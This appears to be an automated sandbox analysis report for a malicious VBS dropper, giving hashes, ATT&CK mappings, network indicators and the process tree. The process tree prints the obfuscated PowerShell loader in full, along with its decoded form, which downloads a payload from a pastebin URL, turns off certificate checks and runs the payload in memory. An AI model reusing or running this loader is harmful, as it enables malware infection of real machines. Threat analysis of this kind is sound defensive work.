48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559

General

Target

48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs
Size

15.4MB
MD5

3ac2f2a9e0ea75fabc9cd17a6cfad0c5
SHA1

918caec409f9a49bc055bbfb02d458c131724c83
SHA256

48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559
SHA512

be4ce3a8489eb2ac441a9ea7c61f93f1b64a4e8435f8bcfbad0c0d83fcc1b7d6e6b5c3b0309616b7ed2bcbd173ce5427e257e14dc84e491766ffbc51af3a1327
SSDEEP

192:9HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHM:qXmHsr0+uF8

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2780	powershell.exe
6	2780	powershell.exe
8	2780	powershell.exe
9	2780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2352	powershell.exe
2780	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
8	bitbucket.org
9	bitbucket.org
4	pastebin.com
6	pastebin.com
7	bitbucket.org

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2352	powershell.exe
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 784 wrote to memory of 2352	784	WScript.exe	31
PID 784 wrote to memory of 2352	784	WScript.exe	31
PID 784 wrote to memory of 2352	784	WScript.exe	31
PID 2352 wrote to memory of 2780	2352	powershell.exe	33
PID 2352 wrote to memory of 2780	2352	powershell.exe	33
PID 2352 wrote to memory of 2780	2352	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆B4☆Hc☆cQB6☆Hg☆I☆☆9☆C☆☆Jw☆w☆DM☆Jw☆7☆CQ☆YgB4☆HY☆YwBy☆C☆☆PQ☆g☆Cc☆JQBw☆Ho☆QQBj☆E8☆ZwBJ☆G4☆TQBy☆CU☆Jw☆7☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBy☆HY☆aQBj☆GU☆U☆Bv☆Gk☆bgB0☆E0☆YQBu☆GE☆ZwBl☆HI☆XQ☆6☆Do☆UwBl☆HI☆dgBl☆HI☆QwBl☆HI☆d☆Bp☆GY☆aQBj☆GE☆d☆Bl☆FY☆YQBs☆Gk☆Z☆Bh☆HQ☆aQBv☆G4☆QwBh☆Gw☆b☆Bi☆GE☆YwBr☆C☆☆PQ☆g☆Hs☆J☆B0☆HI☆dQBl☆H0☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆I☆☆9☆C☆☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆GM☆dQBy☆Gk☆d☆B5☆F☆☆cgBv☆HQ☆bwBj☆G8☆b☆BU☆Hk☆c☆Bl☆F0☆Og☆6☆FQ☆b☆Bz☆DE☆Mg☆7☆Fs☆QgB5☆HQ☆ZQBb☆F0☆XQ☆g☆CQ☆agBr☆G8☆cwBz☆C☆☆PQ☆g☆Fs☆cwB5☆HM☆d☆Bl☆G0☆LgBD☆G8☆bgB2☆GU☆cgB0☆F0☆Og☆6☆EY☆cgBv☆G0☆QgBh☆HM☆ZQ☆2☆DQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆C☆☆K☆BO☆GU☆dw☆t☆E8☆YgBq☆GU☆YwB0☆C☆☆TgBl☆HQ☆LgBX☆GU☆YgBD☆Gw☆aQBl☆G4☆d☆☆p☆C4☆R☆Bv☆Hc☆bgBs☆G8☆YQBk☆FM☆d☆By☆Gk☆bgBn☆Cg☆JwBo☆HQ☆d☆Bw☆Do☆Lw☆v☆H☆☆YQBz☆HQ☆ZQBi☆Gk☆bg☆u☆GM☆bwBt☆C8☆cgBh☆Hc☆LwBW☆Dk☆eQ☆1☆FE☆NQB2☆HY☆Jw☆p☆C☆☆KQ☆g☆Ck☆OwBb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QQBw☆H☆☆R☆Bv☆G0☆YQBp☆G4☆XQ☆6☆Do☆QwB1☆HI☆cgBl☆G4☆d☆BE☆G8☆bQBh☆Gk☆bg☆u☆Ew☆bwBh☆GQ☆K☆☆k☆Go☆awBv☆HM☆cw☆p☆C4☆RwBl☆HQ☆V☆B5☆H☆☆ZQ☆o☆Cc☆V☆Bl☆Gg☆dQBs☆GM☆a☆Bl☆HM☆W☆B4☆Fg☆e☆B4☆C4☆QwBs☆GE☆cwBz☆DE☆Jw☆p☆C4☆RwBl☆HQ☆TQBl☆HQ☆a☆Bv☆GQ☆K☆☆n☆E0☆cwBx☆EI☆SQBi☆Fk☆Jw☆p☆C4☆SQBu☆HY☆bwBr☆GU☆K☆☆k☆G4☆dQBs☆Gw☆L☆☆g☆Fs☆bwBi☆Go☆ZQBj☆HQ☆WwBd☆F0☆I☆☆o☆Cc☆W☆B1☆E0☆TgB1☆FQ☆a☆Bp☆C8☆dwBh☆HI☆LwBt☆G8☆Yw☆u☆G4☆aQBi☆GU☆d☆Bz☆GE☆c☆☆v☆C8☆OgBz☆H☆☆d☆B0☆Gg☆Jw☆g☆Cw☆I☆☆k☆GI☆e☆B2☆GM☆cg☆g☆Cw☆I☆☆n☆F8☆XwBf☆Ek☆bgB2☆Gk☆YwB0☆HU☆cwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆LQ☆t☆C0☆LQ☆t☆C0☆LQ☆n☆Cw☆I☆☆k☆Hg☆dwBx☆Ho☆e☆☆s☆C☆☆Jw☆x☆Cc☆L☆☆g☆Cc☆UgBv☆GQ☆YQ☆n☆C☆☆KQ☆p☆Ds☆';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$xwqzx = '03';$bxvcr = 'C:\Users\Admin\AppData\Local\Temp\48bb80b78ab20e88487589c0d691bd65a8d40f785d2d18d54c06bbedd09ca559.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $jkoss = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($jkoss).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('XuMNuThi/war/moc.nibetsap//:sptth' , $bxvcr , '___Invictus_________________________________________-------', $xwqzx, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
06e3b3166b306d09969476401cfd34bf

SHA1
582865cb1cee86479ce6d282477f652938f85033

SHA256
5eb0a77aebd2bd0972eac4ff4243a21251e92c35842432f6b5309b4c2a195175

SHA512
b05c5bbe1cfbbcc38dca0a5403ab8a44f9396ae13bab93383b8f093be405856bdb8fcb1b04fdf711b04e9682b936b8ab43af72f308c0704306c97ef187b743b1

Download Submit
memory/2352-4-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

Filesize
4KB

Download
memory/2352-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2352-6-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2352-12-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2352-13-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing